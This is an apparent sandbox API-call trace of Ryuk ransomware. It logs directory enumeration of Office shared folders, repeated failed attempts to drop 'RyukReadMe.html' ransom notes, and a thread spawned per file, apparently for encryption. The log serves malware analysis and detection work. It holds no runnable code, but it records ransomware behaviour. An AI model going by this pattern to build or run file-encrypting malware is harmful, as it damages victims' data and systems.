	[0163.967] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82940c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x48990, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ACETXT.DLL", cAlternateFileName="")) returned 1
	[0163.967] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1092c00, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xd82ba220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1092c00, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x2e8da0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ACEWDAT.DLL", cAlternateFileName="")) returned 1
	[0163.967] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e0c9f00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xcf0c7d40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8e0c9f00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x4dba0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ACEWSS.DLL", cAlternateFileName="")) returned 1
	[0163.968] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35d59d00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd82e0380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x35d59d00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x7a998, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ACEXBE.DLL", cAlternateFileName="")) returned 1
	[0163.968] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67c38700, ftCreationTime.dwHighDateTime=0x1cbc9fc, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x67c38700, ftLastWriteTime.dwHighDateTime=0x1cbc9fc, nFileSizeHigh=0x0, nFileSizeLow=0x5e158, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ATLCONV.DLL", cAlternateFileName="")) returned 1
	[0163.968] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb10f7500, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0xda5b0540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb10f7500, ftLastWriteTime.dwHighDateTime=0x1cbe56c, nFileSizeHigh=0x0, nFileSizeLow=0x4d67b0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Csi.dll", cAlternateFileName="")) returned 1
	[0163.968] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef87d800, ftCreationTime.dwHighDateTime=0x1cb8cce, ftLastAccessTime.dwLowDateTime=0xda5d66a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xef87d800, ftLastWriteTime.dwHighDateTime=0x1cb8cce, nFileSizeHigh=0x0, nFileSizeLow=0x1b3980, dwReserved0=0x7c, dwReserved1=0x0, cFileName="CsiSoap.dll", cAlternateFileName="")) returned 1
	[0163.968] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Cultures", cAlternateFileName="")) returned 1
	[0163.968] SetLastError (dwErrCode=0x0) 
	[0163.968] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.968] GetLastError () returned 0x5
	[0163.968] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.968] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.969] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0163.969] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xceefecc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xceefecc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.969] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x8e, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 1
	[0163.969] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0163.970] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x464
	[0163.971] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0163.972] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0x8e, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 0
	[0163.972] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0163.972] SetLastError (dwErrCode=0x0) 
	[0163.972] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.973] GetLastError () returned 0x5
	[0163.973] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.973] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.973] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x7eb48, dwReserved0=0x7c, dwReserved1=0x0, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1
	[0163.973] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ebd7300, ftCreationTime.dwHighDateTime=0x1cba5c3, ftLastAccessTime.dwLowDateTime=0xcef710e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3ebd7300, ftLastWriteTime.dwHighDateTime=0x1cba5c3, nFileSizeHigh=0x0, nFileSizeLow=0x21d78, dwReserved0=0x7c, dwReserved1=0x0, cFileName="EXP_PDF.DLL", cAlternateFileName="")) returned 1
	[0163.973] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf5bf6900, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xcf5b0aa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf5bf6900, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x11578, dwReserved0=0x7c, dwReserved1=0x0, cFileName="EXP_XPS.DLL", cAlternateFileName="")) returned 1
	[0163.973] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd66e7600, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xe572de20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd66e7600, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x26560, dwReserved0=0x7c, dwReserved1=0x0, cFileName="FLTLDR.EXE", cAlternateFileName="")) returned 1
	[0163.973] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7bf3f00, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x53907610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7bf3f00, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x417360, dwReserved0=0x7c, dwReserved1=0x0, cFileName="IACOM2.DLL", cAlternateFileName="")) returned 1
	[0163.973] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x31d88, dwReserved0=0x7c, dwReserved1=0x0, cFileName="LICLUA.EXE", cAlternateFileName="")) returned 1
	[0163.973] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc821f600, ftCreationTime.dwHighDateTime=0x1cbdfb3, ftLastAccessTime.dwLowDateTime=0xd776b9a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc821f600, ftLastWriteTime.dwHighDateTime=0x1cbdfb3, nFileSizeHigh=0x0, nFileSizeLow=0x183d780, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSO.DLL", cAlternateFileName="")) returned 1
	[0163.974] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee94c400, ftCreationTime.dwHighDateTime=0x1cb7007, ftLastAccessTime.dwLowDateTime=0xd6225500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xee94c400, ftLastWriteTime.dwHighDateTime=0x1cb7007, nFileSizeHigh=0x0, nFileSizeLow=0x73b60, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSOICONS.EXE", cAlternateFileName="")) returned 1
	[0163.974] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xec32f3e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x4529780, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSORES.DLL", cAlternateFileName="")) returned 1
	[0163.974] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4293d00, ftCreationTime.dwHighDateTime=0x1cbc468, ftLastAccessTime.dwLowDateTime=0xd77dddc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa4293d00, ftLastWriteTime.dwHighDateTime=0x1cbc468, nFileSizeHigh=0x0, nFileSizeLow=0x135f90, dwReserved0=0x7c, dwReserved1=0x0, cFileName="msoshext.dll", cAlternateFileName="")) returned 1
	[0163.974] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc276d800, ftCreationTime.dwHighDateTime=0x1cab8aa, ftLastAccessTime.dwLowDateTime=0x6a050eb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc276d800, ftLastWriteTime.dwHighDateTime=0x1cab8aa, nFileSizeHigh=0x0, nFileSizeLow=0xdb50, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSOXEV.DLL", cAlternateFileName="")) returned 1
	[0163.974] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x1d950, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSOXMLED.EXE", cAlternateFileName="")) returned 1
	[0163.974] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x593ede30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0xdb80, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSOXMLMF.DLL", cAlternateFileName="")) returned 1
	[0163.974] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3922200, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0x59413f90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3922200, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x124980, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSPTLS.DLL", cAlternateFileName="")) returned 1
	[0163.974] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15d97a00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15d97a00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0xac370, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSSOAP30.DLL", cAlternateFileName="")) returned 1
	[0163.974] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf459e40, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x1a5b, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MUAUTH.CAB", cAlternateFileName="")) returned 1
	[0163.974] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0163.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x460
	[0163.977] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0163.977] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8054ff00, ftCreationTime.dwHighDateTime=0x1cb7011, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8054ff00, ftLastWriteTime.dwHighDateTime=0x1cb7011, nFileSizeHigh=0x0, nFileSizeLow=0x6190, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MUOPTIN.DLL", cAlternateFileName="")) returned 1
	[0163.977] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x161d5800, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xd63a22c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x161d5800, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x38d88, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Oarpmany.exe", cAlternateFileName="")) returned 1
	[0163.977] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f9d2900, ftCreationTime.dwHighDateTime=0x1cab9ac, ftLastAccessTime.dwLowDateTime=0xbe0f9da0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7f9d2900, ftLastWriteTime.dwHighDateTime=0x1cab9ac, nFileSizeHigh=0x0, nFileSizeLow=0x7568, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ODBCMON.DLL", cAlternateFileName="")) returned 1
	[0163.977] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 1
	[0163.977] SetLastError (dwErrCode=0x0) 
	[0163.978] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.978] GetLastError () returned 0x5
	[0163.978] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0163.978] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.978] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0163.983] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0163.984] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1
	[0163.984] SetLastError (dwErrCode=0x0) 
	[0163.984] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0163.984] GetLastError () returned 0x5
	[0163.984] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0163.984] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0163.985] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*.*", lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c6f0
	[0164.127] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0164.127] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa5fe940, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0xbe, dwReserved1=0x0, cFileName="AccessMUI.XML", cAlternateFileName="ACCESS~1.XML")) returned 1
	[0164.127] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8680000
	[0164.128] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x480
	[0164.130] VirtualFree (lpAddress=0x8680000, dwSize=0x0, dwFreeType=0x8000) returned 1
